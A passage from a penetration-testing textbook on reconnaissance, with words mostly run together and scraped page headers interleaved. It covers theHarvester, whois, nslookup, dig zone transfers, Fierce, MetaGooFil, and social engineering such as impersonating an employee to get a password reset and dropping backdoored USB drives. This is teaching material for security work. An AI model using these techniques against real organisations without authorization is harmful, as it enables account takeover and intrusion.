using these resources, be careful to use a slightly more anonymous e-mail address like Gmail orHotmail,ratherthanyourcorporateaddress.Theexplosivegrowth in socialmedia likeFacebookandTwitterprovidesuswithnewavenues to

minedataaboutourtargets.Whenperformingreconnaissance,itisagoodideatousethesesitestoouradvantage.Consider the following fictitiousexample.Youareconductingapenetration test against asmall company. Your reconnaissance has led you to discover that the network administrator for thecompanyhasaTwitter,Facebook,andSteamaccount.Utilizingalittlesocialengineering,youbefriendthe unsuspecting admin and followhimonbothFacebook andTwitter.After a fewweeks of boringposts,youstrikethejackpot.HemakesapostonFacebookthatsays“Great.Firewalleddiedwithoutwarningtoday.Newonebeingsentover-night.LookslikeI’llbepullinganall-nightertomorrowtogetthingsbacktonormal.”Another example would be a PC tech who posts, “Problem with latest Microsoft patch, had to

uninstall.WillcallMSinthemorning.”Or even the following, “Just finished the annual budget process. Looks like I’m stuck with that

Win2Kserverforanotheryear.”Although these examples may seem a bit over the top, you will be surprised at the amount of

informationyoucancollectbysimplymonitoringwhatemployeespostonline.

TheHarvester:DiscoveringandLeveragingE-mailAddressesAn excellent tool to use in reconnaissance is the Harvester. The Harvester is a simple but highlyeffectivePythonscriptwrittenbyChristianMartorellaatEdgeSecurity.Thistoolallowsustoquicklyandaccuratelycatalogbothe-mailaddressesandsubdomainsthataredirectlyrelatedtoourtarget.It is important to always use the latest version of theHarvester asmany search engines regularly

update and change their systems. Even subtle changes to a search engine’s behavior can renderautomatedtoolsineffective.Insomecases,searchengineswillactuallyfiltertheresultsbeforereturninginformationtoyou.Manysearchenginesalsoemploythrottlingtechniquesthatwillattempttopreventyoufromrunningautomatedsearches.The Harvester can be used to search Google, Bing, and PGP servers for e-mails, hosts, and

subdomains. It can also searchLinkedIn for user names.Most people assume their e-mail address isbenign.Wehavealreadydiscussedthedangersofpostingtopublicforumsusingyourcorporatee-mail

Page 46: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

address; however, there are additional hazards you should be aware of. Let us assume during yourreconnaissance you discover the e-mail address of an employee from your target organization. Bytwistingandmanipulatingtheinformationbeforethe“@”symbol,weshouldbeabletocreateaseriesof potential network user names. It is not uncommon for organizations to use the exact, same usernamesande-mailaddresses(beforethe“@”symbol).Withahandfulofprospectiveusernames,wecanattempttobruteforceourwayintoanyservices,likeSecureShell,VirtualPrivateNetworks(VPNs),orFileTransferProtocol(FTP),thatwe(will)discoverduringStep2(scanning).The Harvester is built into Kali. The quickest way to access the Harvester is to open a terminal

windowandissuethecommand:theharvester.IfyouneedthefullpathtotheprogramandyouareusingKali,theHarvester(andnearlyallothertools)canbefoundinthe/usr/bin/directory.However,recallthatonemajoradvantagetoKaliisthatyounolongerneedtospecifythefullpathtorunthesetools.Simplyopeningtheterminalandenteringthetool’sstartcommandwillinvokeit.Forexample,toruntheharvester,openaterminalandissuingthefollowingcommand:

theharvester

Youcouldalsoissuethefullpathtoruntheprogram:/usr/bin/theharvester

IfyouareusingadifferentversionofBacktrackorKaliorareunabletofindtheHarvester(oranytooldiscussedinthisbook)atthespecifiedpath,youcanusethelocatecommandtohelpfindwherethetoolisinstalled.Inordertousethelocatecommandyouneedtofirstruntheupdatedbcommand.TofindoutwheretheHarvesterisinstalledonyoursystem,openaterminalandtypethecommand:

updatedb

Followedbythecommand:locatetheharvester

Theoutputfromthelocatecommandcanbeveryverbose,butcarefulreviewofthelistshouldhelpyoudeterminewherethemissingtoolisinstalled.Aspreviouslymentioned,nearlyallthepenetrationtestingtoolsinKaliarelocatedinasubdirectoryofthe/usr/bin/folder.

ALERT!If you are using anOS other thanKali, you can download the tool directly fromEdgeSecurity at http://www.edge-security.com. Once you have got it downloaded, you canunpackthedownloadedtarfilebyrunningthefollowingcommandinaterminal:

tarxftheHarvester

Pleasenotethecapital“H”thatisusedwhenuntarringthecode.Linuxiscase-sensitive,sotheOSseesadifferencebetween“theHarvester”and“theharvester”.Youwillneedtopayattentiontotheexecutabletodetermineifyoushoulduseacapitalorlowercase“h”.Ifthecasesdonotmatchexactly,youwill typicallygetamessagesaying“nosuch fileordirectory”.Thisisagoodindicationthatyouhavemistypedthenameofthefile.

RegardlessofwhetheryouhavedownloadedtheHarvesterorusedtheversionpreinstalledonyourattackmachine,wewill use it to collect additional information about our target.Be sure you are intheHarvesterfolderandrunthefollowingcommand:

./theharvester.py–dsyngress.com–l10–bgoogle

Page 47: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Thiscommandwillsearchfore-mails,subdomains,andhoststhatbelongtosyngress.com.Figure2.4showsourresults.

FIGURE2.4 OutputoftheHarvester.

Before discussing the results of our tool, let us examine the command a little closer.“./theHarvester.py”isusedtoinvokethetool.Alowercase“–d”isusedtospecifythetargetdomain.Alowercase“–l”(thatisanLnotan1)isusedtolimitthenumberofresultsreturnedtous.Inthiscase,thetoolwasinstructedtoreturnonly10results.The“–b”isusedtospecifywhatpublicrepositorywewanttosearch.WecanchoosefromawidevarietyincludingGoogle,Bing,PGP,LinkedIn,andmore—forthisexample,wechosetosearchusingGoogle.Ifyouarenotsurewhichdatasourcetouseforyoursearch, you can also use the –b all switch to simultaneously search all the repositories that theHarvestercanuse.Nowthatyoufullyunderstandthecommandusedtorunthetool,letustakealookattheresults.Asyoucansee,theHarvesterwaseffectiveinlocatingseverale-mailaddressesthatcouldbeofvalue

tous.Pleasenotethatthee-mailaddressesinthescreenshothavebeenobfuscated.TheHarvesterwasalso successful in finding two subdomains. Both “booksite.syngress.com” and “www.syngress.com”need to be fully recon’d. We simply add these new domains to our target list and begin thereconnaissanceprocessagain.Step1ofreconnaissanceisverycyclicalbecausein-depthreconnaissanceoftenleadstothediscovery

of new targets,which, in turn, lead to additional reconnaissance.As a result, the amount of time tocompletethisphasewillvaryfromseveralhourstoseveralweeks.Remember,adeterminedmalicioushacker understands not only the power of good reconnaissance but often has the ability to spend anearlylimitlessamountoftime.Asanaspiringpenetrationtester,youshoulddevoteasmuchtimeaspossibletopracticingandconductinginformationgathering.

Page 48: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

WhoisAverysimplebuteffectivemeansforcollectingadditionalinformationaboutourtargetisWhois.TheWhoisserviceallowsus toaccessspecific informationaboutour target including the IPaddressesorhost names of the company’sDomainName Systems (DNS) servers and contact informationwhichusuallycontainsanaddressandaphonenumber.WhoisisbuiltintotheLinuxOS.Thesimplestwaytousethisserviceistoopenaterminalandenter

thefollowingcommand:whoistarget_domain

Forexample,tofindoutinformationaboutSyngress,wewouldissuethefollowingcommand:whoissyngress.com.Figure2.5showsapartialoutputfromtheresultofthistool.

FIGURE2.5 PartialoutputfromaWhoisquery.

ItisimportanttorecordalltheinformationandpayspecialattentiontotheDNSservers.IftheDNSservers are listed bynameonly, as shown inFigure2.5,wewill use theHost command to translatethosenamesintoIPaddresses.Wewilldiscussthehostcommandinthenextsection.YoucanalsouseawebbrowsertosearchWhois.Bynavigatingtohttp://www.whois.net,youcansearchforyourtargetinthe“WHOISLookup”boxasshowninFigure2.6.

FIGURE2.6 Whois.netaweb-basedLookuptool.

Page 49: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Againitisimportanttocloselyreviewtheinformationyouarepresentedwith.Sometimes,theoutputwill not providemany details.We can often access these additional details by querying the specificwhoisserverlistedintheoutputofouroriginalsearch.Figure2.7showsanexampleofthis.

FIGURE2.7 Whoisoutputshowingwheretogoforadditionaldetails.

When available, we can conduct a further Whois search by following the link provided in the“ReferralURL:”field.YoumayhavetosearchthewebpageforalinktotheirWhoisservice.ByusingSafename’sWhoisservice,wecanextractasignificantlylargeramountofinformationasshownhere:

TheRegistrydatabasecontainsONLY.COM,.NET,.EDUdomainsand

Registrars.[whois.safenames.net]

SafenamesWhoisServerVersion2.0

DomainName:SYNGRESS.COM[REGISTRANT]

OrganisationName:ElsevierLtd

ContactName:DomainManager

AddressLine1:TheBoulevard

AddressLine2:LangfordLane,Kidlington

City/Town:Oxfordshire

State/Province:

Zip/Postcode:OX51GB

Country:UK

Telephone:+44(18658)43830

Fax:+44(18658)53333

Email:[email protected][ADMIN]

OrganisationName:SafenamesLtd

ContactName:InternationalDomainAdministrator

AddressLine1:POBox5085

AddressLine2:

City/Town:MiltonKeynesMLO

State/Province:Bucks

Zip/Postcode:MK63ZE

Country:UK

Telephone:+44(19082)00022

Fax:+44(19083)25192

Page 50: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Email:[email protected][TECHNICAL]

OrganisationName:InternationalDomainTech

ContactName:InternationalDomainTech

AddressLine1:POBox5085

AddressLine2:

City/Town:MiltonKeynesMLO

State/Province:Bucks

Zip/Postcode:MK63ZE

Country:UK

Telephone:+44(19082)00022

Fax:+44(19083)25192

Email:[email protected]

NetcraftAnothergreatsourceofinformationisNetcraft.Youcanvisittheirsiteathttp://news.netcraft.com.Startbysearchingforyourtargetinthe“What’sthatsiteRunning?”textboxasshowninFigure2.8.

FIGURE2.8 Netcraftsearchoption.

Netcraftwillreturnanywebsitesitisawareofthatcontainyoursearchwords.Inourexample,wearepresented with three sites: syngress.com, www.syngress.com, and booksite.syngress.com. If any ofthesesiteshaveescapedourprevioussearches, it is important toaddthemtoourpotential target list.The returned results page will allow us to click on a “Site Report”. Viewing the site report shouldprovideuswithsomevaluableinformationasshowninFigure2.9.

Page 51: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE2.9 SitereportforSyngress.com.

Asyoucansee,thesitereportprovidesuswithsomegreatinformationaboutourtargetincludingtheIPaddressandOSofthewebserveraswellastheDNSserver.Onceagainallthisinformationshouldbecatalogedandrecorded.

HostOftentimes, our reconnaissance effortswill result in host names rather than IP addresses.When thisoccurs,wecanusethe“host”tooltoperformatranslationforus.ThehosttoolisbuiltintomostLinuxsystemsincludingKali.Wecanaccessitbyopeningaterminalandtyping:

hosttarget_hostname

Suppose in our previous searches, we uncovered a DNS server with the host name“ns1.dreamhost.com”.TotranslatethisintoanIPaddress,wewouldenterthefollowingcommandinaterminal:

hostns1.dreamhost.comFigure2.10showstheresultofthistool.

Page 52: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE2.10 Hostcommandoutput.

The host command can also be used in reverse. It can be used to translate IP addresses into hostnames.Toperformthistask,simplyenter

hostIP_address

Using the “–a” switch will provide you with verbose output and possibly reveal additionalinformationaboutyourtarget.Itiswellworthyourtimetoreviewthe“host”documentationandhelpfiles.Youcandosobyissuingthe“manhost”commandinaterminalwindow.Thishelpfilewillallowyoutobecomefamiliarwiththevariousoptionsthatcanbeusedtoprovideadditionalfunctionalitytothe“host”tool.

ExtractingInformationfromDNSDNS servers are an excellent target for hackers and penetration testers. They usually containinformationthatisconsideredhighlyvaluabletoattackers.DNSisacorecomponentofbothourlocalnetworks and the Internet. Among other things, DNS is responsible for the process of translatingdomainnamestoIPaddresses.Ashumans, it ismucheasierforus toremember“google.com”ratherthan http://74.125.95.105. However, machines prefer the reverse. DNS serves as the middle man toperformthistranslationprocess.As penetration testers, it is important to focus on theDNS servers that belong to our target. The

reasonissimple.InorderforDNStofunctionproperly,itneedstobeawareofboththeIPaddressandthecorrespondingdomainnameofeachcomputeronitsnetwork.Intermsofreconnaissance,gainingfullaccesstoacompany’sDNSserverislikefindingapotofgoldattheendofarainbow.Ormaybe,moreaccurately,itislikefindingablueprinttotheorganization.Butinthiscase,theblueprintcontainsafulllistingofinternalIPaddressesandhostnamesthatbelongtoourtarget.RememberoneofthekeyelementsofinformationgatheringistocollectIPaddressesthatbelongtothetarget.Asidefromthepotofgold,anotherreasonwhypickingonDNSissoenjoyableisthatinmanycases

theseserverstendtooperateonthe“ifitisn’tbroke,don’ttouchit”principle.Inexperienced network administrators often regard theirDNS serverswith suspicion andmistrust.

Oftentimes, they choose to ignore the box completely because they do not fully understand it.As aresult,patching,updating,orchangingconfigurationson theDNSserver isoftena lowpriority.Addthis to the fact thatmost DNS servers appear to be very stable (as long as the administrator is notmonkeyingwithit)andyouhavearecipeforasecuritydisaster.TheseadminswronglylearnearlyintheircareerthatthelesstheymesswiththeirDNSservers,thelesstroubleitseemedtocausethem.Asapenetrationtester,giventhenumberofmisconfiguredandunpatchedDNSserversthatabound

today,itisnaturaltoassumethatmanycurrentnetworkadminsoperateunderthesameprinciple.If theabovestatementsare true inevenasmallnumberoforganizations,weare leftwithvaluable

targets that have a high probability of being unpatched or out of date. So the next logical questionbecomes,howdoweaccessthisvirtualpotofgold?BeforewecanbegintheprocessofexaminingaDNSserver,weneedanIPaddress.Earlierinourreconnaissance,wecameacrossseveralreferencestoDNS.Someof these referenceswerebyhostnames,whereasotherswerebyIPaddresses.Using thehost command,we can translate anyhost names into IP addresses and add these IPs to thepotential

Page 53: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

target list.Again,youmustbesure todouble-and triple-check that the IPyoucollect iswithinyourauthorizedscopebeforecontinuing.Nowthatwehavea listofDNSIPaddresses thatbelongtoor(serveour target)wecanbegin the

processofinterrogatingDNStoextractinformation.Althoughitisbecomingrarertofind,oneofourfirsttaskswheninteractingwithatargetDNSistoattemptazonetransfer.RecallthatDNSserverscontainaseriesofrecordsthatmatchuptheIPaddressandhostnameforall

thedevicesthattheserversareawareof.ManynetworksdeploymultipleDNSserversforthesakeofredundancyorloadbalancing.Asaresult,DNSserversneedawaytoshareinformation.This“sharing”processoccursthroughtheuseofazonetransfer.Duringazonetransfer,alsocommonlyreferredtoasAXFR,oneDNSserverwillsendall thehost-to-IPmappingsitcontainstoanotherDNSserver.ThisprocessallowsmultipleDNSserverstostayinsync.Evenifweareunsuccessful inperformingazonetransfer,weshouldstillspendtimeinvestigating

anyDNSserversthatfallwithinourauthorizedscope.

nslookupThe first toolwewilluse toexamineDNS isnslookup.nslookup isa tool thatcanbeused toqueryDNSservers andpotentiallyobtain records about thevarioushostsofwhich it is aware.nslookup isbuiltintomanyversionsofLinuxincludingKaliandisevenavailableforWindows.nslookupoperatesvery similarly between the various OSs; however, you should always review the specifics for yourparticularsystem.YoucandosoinLinuxbyreviewingthenslookupmanpage.Thisisaccomplishedbyopeningaterminalandtyping

mannslookup

ALERT!A software’sman page is a text-based documentation system that describes a particulartool, including its basic and advanced uses, and other details about how the programfunctions. Most Linux-based tools include a man page. This can be extremely helpfulwhenattemptingtorunanewprogramortroubleshootissues.Toviewthemanpageforatool,openaterminalandenterthecommand:

mantool_name

Obviously you will need to replace “tool_name” with the program name you areattemptingtoreadabout.

nslookup isa tool that canbe run in interactivemode.This simplymeanswewill first invoke theprogramandthenfeedittheparticularswitchesweneedtomakeitfunctionproperly.Webeginusingnslookupbyopeningaterminalandentering:

nslookup

By issuing the “nslookup” command, we start the nslookup tool from the OS. After typing“nslookup”andhittingenter,yourusual“#”promptwillbereplacedwitha“>”prompt.Atthispoint,youcanentertheadditionalinformationrequiredfornslookuptofunction.Webeginfeedingcommandstonslookupbyenteringthe“server”keywordandanIPaddressofthe

Page 54: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

DNSserveryouwanttoquery.Anexamplefollows:server8.8.8.8

nslookup will simply accept the command and present you with another “>” prompt. Next, wespecifythetypeofrecordwearelookingfor.Duringthereconnaissanceprocess,therearemanytypesofrecordsthatyoumaybeinterestedin.ForacompletelistingofthevariousDNSrecordtypesandtheirdescription,youcanuseyournewlyacquiredGoogleskills!Ifyouarelookingforgeneralinformation,youshouldsetthetypetoanybyusingthekeyword“any”:

settype=any

Besuretopayspecialattentiontothespacingoryouwillgetanerrormessage.IfyouarelookingforspecificinformationfromtheDNSserversuchastheIPaddressofthemailserverthathandlese-mailforthetargetorganization,youwouldusethe“settype=mx”.WewrapupourinitialDNSinterrogationwithnslookupbyenteringthetargetdomainafterthenext

“>”prompt.Suppose you wanted to know what mail server is used to handle the e-mail for Syngress. In a

previousexample,wedeterminedthatoneofSyngress’snameserverswas“ns1.dreamhost.com”.Hereagain, we can use the host tool to quickly determine what IP address is associated withns1.dreamhost.com.With this information inhand,wecanusenslookuptoqueryDNSandfindmailserverforSyngress.Figure2.11showsanexampleof thisprocess; thenameof thee-mailserverhasbeen highlighted (in the bottom right of the screenshot) and nowneeds to be added to our potentialtargetlist.

ADDITIONALINFORMATIONUtilizing thesettype=any option innslookupwill provideuswith amore completeDNSrecordincludingtheinformationinFigure2.11.

FIGURE2.11 Combininghostandnslookuptodeterminetheaddressofourtarget’se-mailserver(MXrecord).

DigAnothergreattoolforextractinginformationfromDNSis“dig”.Toworkwithdig,wesimplyopenaterminalandenterthefollowingcommand:

Page 55: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

dig@target_ip

Naturally,youwillneedtoreplacethe“target_ip”withtheactualIPaddressofyourtarget.Amongotherthings,digmakesitverysimpletoattemptazonetransfer.Recallthatazonetransferisusedtopullmultiple records fromaDNSserver. Insomecases,azone transfercan result in the targetDNSserversendingalltherecordsitcontains.ThisisespeciallyvaluableifyourtargetdoesnotdistinguishbetweeninternalandexternalIPswhenconductingazonetransfer.Wecanattemptazonetransferwithdigbyusingthe“–tAXFR”switch.If we wanted to attempt a zone transfer against a fictitious DNS server with an IP address of

192.168.1.23 and a domain name of “example.com” we would issue the following command in aterminalwindow:

[email protected]–tAXFRIfzone transfersareallowedandnot restricted,youwillbepresentedwitha listingofhostandIP

addressesfromthetargetDNSserverthatrelatetoyourtargetdomain.

Fierce:WhattoDoWhenZoneTransfersFailAs we have previously discussed, most administrators today are savvy enough to prevent randompeople fromcompletinganunauthorizedzone transfer.However, all isnot lost. Ifyourzone transferfails, therearedozensofgoodDNSinterrogation tools.Fierce isaneasy touse,powerfulPerlscriptthatcanprovideyouwithdozensofadditionaltargets.InKali,youcanfindFierceinthe/usr/bin/directory.Onceagain,youcansimplyopenaterminal

andissuethe“fierce”command(alongwiththerequiredswitches)oryoucanmoveintothe/usr/bin/directory.IfyouprefertorunFiercefromthe/usr/bindirectory,youwillneedtoopenaterminalandissuingthefollowingcommand:

cd/usr/bin/fierce

InsidetheFiercedirectory,youcanrunthetoolbyexecutingthefierce.plscriptandutilizingthe–dnsswitchfollowedbyyourtargetdomain.

./fierce.pl–dnstrustedsec.comPayspecialattentiontothe“./”infrontofthetoolname.ThisisrequiredandtellsLinuxtoexecute

thefileinthelocaldirectory.Thescriptwillbeginbyattemptingtocompleteazonetransferfromthespecified domain. In the event the process fails, Fierce will attempt to brute-force host names bysending a series of queries to the targetDNS server. This can be an extremely effectivemethod foruncoveringadditionaltargets.ThegeneralideaisthatifDaveowns“trustedsec.com”(whichhedoes,please do not scan or interrogate), he may also own support.trustedsec.com, citrix.trustedsec.com,print.trustedsec.com,ormanyothers.

ADDITIONALINFORMATIONIfyouareusinganattackmachinewhichdoesnothaveFiercepreinstalledyoucangetitbyrunningthecommand:

apt-getinstallfierce

There are many additional tools that can be used to interact with DNS. These tools should be

Page 56: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

exploredandutilizedonceyouhaveasolidunderstandingofhowDNSworks.Pleaseseetheendofthischapter for a brief discussion of some additional tools you may want to use when conducting apenetrationtestinvolvingDNS.

ExtractingInformationfromE-mailServersE-mailserverscanprovideawealthofinformationforhackersandpenetrationtesters.Inmanyways,e-mailislikearevolvingdoortoyourtarget’sorganization.Assumingyourtargetishostingtheirowne-mailserver,thisisoftenagreatplacetoattack.Itisimportanttoremember,“Youcan’tblockwhatyoumust let in.” In otherwords, for e-mail to function properly, external trafficmust pass through yourborder devices like routers and firewalls, to an internal machine, typically somewhere inside yourprotectednetworks.Asaresultofthis,wecanoftengathersignificantpiecesofinformationbyinteractingdirectlywith

thee-mailsever.Oneofthefirstthingstodowhenattemptingtoreconane-mailserveristosendane-mailtotheorganizationwithanempty.batfileoranonmalicious.exefilelikecalc.exe.Inthiscase,thegoalistosendamessagetothetargete-mailserverinsidetheorganizationinthehopeofhavingthee-mailserverinspect,andthenrejectthemessage.Once the rejectedmessage is returnedback tous,wecanattempt to extract informationabout the

target e-mail server. In many cases, the body of the message will include a precanned write-upexplainingthattheserverdoesnotaccepte-mailswithpotentiallydangerousextensions.Thismessageoften indicates the specific vendor and version of antivirus thatwas used to scan the e-mail. As anattacker,thisisagreatpieceofinformationtohave.Havingareturnmessagefromatargete-mailserveralsoallowsus to inspect theheadersof thee-

mail.InspectingtheInternetheaderswilloftenallowustoextractsomebasicinformationaboutthee-mailserver,includingIPaddressesandthespecificsoftwareversionsorbrandofe-mailserverrunning.Knowing the IP address and software versions can be incredibly useful when we move into theexploitationphase(Step3).

MetaGooFilAnother excellent informationgathering tools is “MetaGooFil”.MetaGooFil is ametadata extractiontoolthatiswrittenbythesamefolkswhobroughtustheHarvester.Metadataisoftendefinedas“dataaboutdata”.WhenyoucreateadocumentlikeMicrosoftWordoraPowerPointpresentation,additionaldataarecreatedandstoredwithinyourfile.Thesedataoftenincludevariouspiecesofinformationthatdescribethedocumentincludingthefilename,thefilesize,thefileownerorusernameofthepersonwho created the file, and the location or path where the file was saved. This process occursautomaticallywithoutanyuserinputorinteraction.Theabilityofanattacker toreadthis informationmaypresentsomeuniqueinsights into the target

organization including user names, computer or server names, network paths, files shares, and othergoodies.MetaGooFilisatoolthatscourstheInternetlookingfordocumentsthatbelongtoyourtarget.Afterfindingthesedocuments,MetaGooFildownloadsthemandattemptstoextractusefulmetadata.MetaGooFil is built intoKali and can be invoked by opening a terminalwindow and running the

“metagoofil” command (along with the appropriate switches) or by navigating to the MetaGooFilexecutable which is located in the /usr/bin directory. This can be accomplished by entering thefollowingcommand:

Page 57: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

cd/usr/bin/metagoofil

AfternavigatingtotheMetaGooFildirectory,itisagoodideatocreatea“files”folder.Thepurposeof this folder is to hold all the target files thatwill be downloaded; this keeps the original directoryclean.Youcancreateanewfolderbyentering:

mkdirfiles

Withthisdirectorysetup,youcanrunMetaGooFilbyissuingthefollowingcommand: ./metagoofil.py -d syngress.com –t pdf,doc,xls,pptx –n 20 -o files –f

results.html

Letusexaminethedetailsofthiscommand.“./metagoofil.py”isusedtoinvoketheMetaGooFilpythonscript.Onceagain,donotforget toput the“./”infrontof thecommand.The“–d”switch isusedtospecifythetargetdomaintobesearched.The“–t”switchisusedtospecifywhichtypeortypesof files you want MetaGooFil to attempt to locate and download. At the time of this writing,MetaGooFilwascapableofextractingmetadatafromthefollowingformats:pdf,doc,xls,ppt,odp,ods,docx,xlsx,andpptx.Youcanentermultiplefiletypesbyseparatingeachtypewithacomma(butnospaces).The“–n”switchisusedtospecifyhowmanyfilesofeachtypeyouwouldliketodownloadforexamination.Youcanalsospecify individual file types to limit the returned results.Weuse the“–o”switch to specify the folder where we want to store each of the files that MetaGooFil locates anddownloads.Inanearlierstep,wecreateda“files”directory;asaresult,ourcommand“–ofiles”willsave each of the discovered documents into this folder. Lastlywe use the “–f” switch to specify anoutput file. This command will produce a formatted document for easy review and cataloging. BydefaultMetaGooFilwillalsodisplayanyfindingsintheterminal.WhiletheoutputfromMetaGooFilagainstSyngressrevealsnothing,belowyouwillfindasampleof

the tool’s output from a recent penetration test that clearly provides additional value and should beincludedwithourreconnaissancedata.

C:\DocumentsandSettings\dennisl\MyDocuments\

Thisexampleisrichwithinformation.First,itprovidesuswithavalidnetworkusername“dennisl”.Second,itclearlyshowsthatDennisusesaWindowsmachine.

ThreatAgent:AttackoftheDronesAnotheroptionforreconnaissance,whichincludesseveralinformationgatheringtoolsbuiltintoone,iscalled ThreatAgent Drone. This tool was developed by Marcus Carey. You can sign up for a freeaccountathttps://www.threatagent.comasshowninFigure2.12:

Page 58: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE2.12 SigningupforafreeThreatAgentaccount.

ThreatAgenttakesOSINTgatheringtothenextlevelbyusinganumberofdifferentsites,tools,andtechnologies to create an entire dossier for you about your target. The only thing you need is theorganizationname(Syngress)andadomainnamesuchassyngress.comasshowninFigure2.13.

FIGURE2.13 StartingasearchwithThreatAgent.

Oncethedroneisfinishedextractingalltheinformationfromthevariouswebsites,itwillpresentareport toyou includingIPaddressranges,e-mailaddresses,pointsofcontactwithin theorganization,ports that are open (through Shodan), andmuchmore. Interesting enough,when doing a search forSyngress,Icameupasthefirstresult(notfaked!)asshowninFigure2.14.

Page 59: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE2.14 ThreatAgentresults.

Fromtheresults,youcanparsenamesfromLinkedIn,Jigsaw,andanumberofotherpublicsitesandfind a large list of e-mail addresses that get extracted and added through tools like theHarvester asshowninFigure2.15.

FIGURE2.15 AdditionalattackvectorsidentifiedbyThreatAgent.

Thisisoneawesometoolforpenetrationtesters,andsomethingthatIhighlyrecommendifyouareperformingreconnaissanceonanorganizationorcompany.

SocialEngineeringNodiscussionof reconnaissanceorhackingwouldbecompletewithout includingsocialengineering.Manypeoplewould argue that social engineering is one of themost simple and effectivemeans forgatheringinformationaboutatarget.Social engineering is the process of exploiting the “human” weakness that is inherent in every

organization.When utilizing social engineering, the attacker’s goal is to get an employee to divulgesomeinformationthatshouldbekeptconfidential.Let us assume you are conducting a penetration test on an organization. During your early

reconnaissance,youdiscoverane-mailaddressforoneofthecompany’ssalespeople.Youunderstandthatsalespeoplearehighlylikelytoreturnproductinquirye-mails.Asaresult,yousentane-mailfromananonymousaddress feigning interest in aparticularproduct. In reality,youdidnot careabout the

Page 60: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

product.Therealpurposeofsendingthee-mailistogetareplyfromthesalespersonsoyoucanreviewthe e-mail headers contained in the response. This process will allow you to gather additionalinformationaboutthecompany’sinternale-mailservers.Let us takeour social engineering example one step further. Supposeour salesman’s name isBen

Owned (we found this information during our reconnaissance of the company website and in thesignatureofhise-mailresponse).Letusassumethatinthisexample,whenyousenttheemployeetheproduct inquiry e-mail, you received an automatic reply with the notification that Ben Owned was“currentlyoutoftheofficetravellingoverseas”and“wouldbegonefortwoweekswithonlylimitede-mailaccess.”A classic example of social engineering would be to impersonate BenOwned and call the target

company’stechsupportnumberaskingforhelpresettingyourpasswordbecauseyouareoverseasandcannotaccessyourwebmail.Ifyouarelucky,thetechsupportpeoplewillbelieveyourstoryandresetthepassword.Assumingtheyusethesamepassword,younowhaveaccesstoBenOwned’se-mailandothernetworkresourceslikeVPNforremoteaccess,orFTPforuploadingsalesfiguresandcustomerorders.Socialengineering,likereconnaissanceingeneral,takesbothtimeandpractice.Noteveryonemakes

agoodsocialengineer.Inordertobesuccessful,youmustbesupremelyconfident,knowledgeableofthesituation,andflexibleenoughtogo“offscript”.Ifyouareconductingsocialengineeringoverthephone,itcanbeextremelyhelpfultohavedetailedandwell-writtennotesincaseyouareaskedaboutsomeobscuredetail.AnotherexampleofsocialengineeringistoleaveUSBthumbdrivesorcompactdiscs(CDs)atthe

target organization. The thumb drives should be distributed to several locations in or near theorganization. The parking lot, the lobby, the bathroom, and an employee’s desk are all great “drop”locations.ItishumannatureformostpeopletoinsertthethumbdriveorCDintotheirPCjusttoseewhatisonthedrive.Inthisexamplethough,thethumbdriveorCDispreloadedwithaself-executingbackdoor program that automatically launches when the drive is inserted into the computer. Thebackdooriscapableofbypassingthecompanyfirewallandwilldialhometotheattacker’scomputer,leavingthetargetexposedandgivingtheattackeraclearchannelintotheorganization.WewilldiscussthetopicofbackdoorsinChapter6.

ADDITIONALINFORMATIONIfyouwanttobeevenmoresuccessfulinthesetypesofattacks,tryaddingsomelabelstoyourCDsorUSBthumbdrives.It isnearly impossibleforsomeonetoresistsneakingapeakatadrivemarked“AnnualEmployeeReviews”or“Q4ReductioninForceProposal”orevenjustsimply“Confidential!NotforPublicDisclosure!”

SiftingThroughtheInteltoFindAttackableTargetsOnceyouhavecompleted the stepsabove,youneed to schedule some time toclosely reviewall thereconnaissance and information you have gathered. Inmost cases, even light reconnaissance shouldproduce a mountain of data. Once the reconnaissance step is completed, you should have a solid

Page 61: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

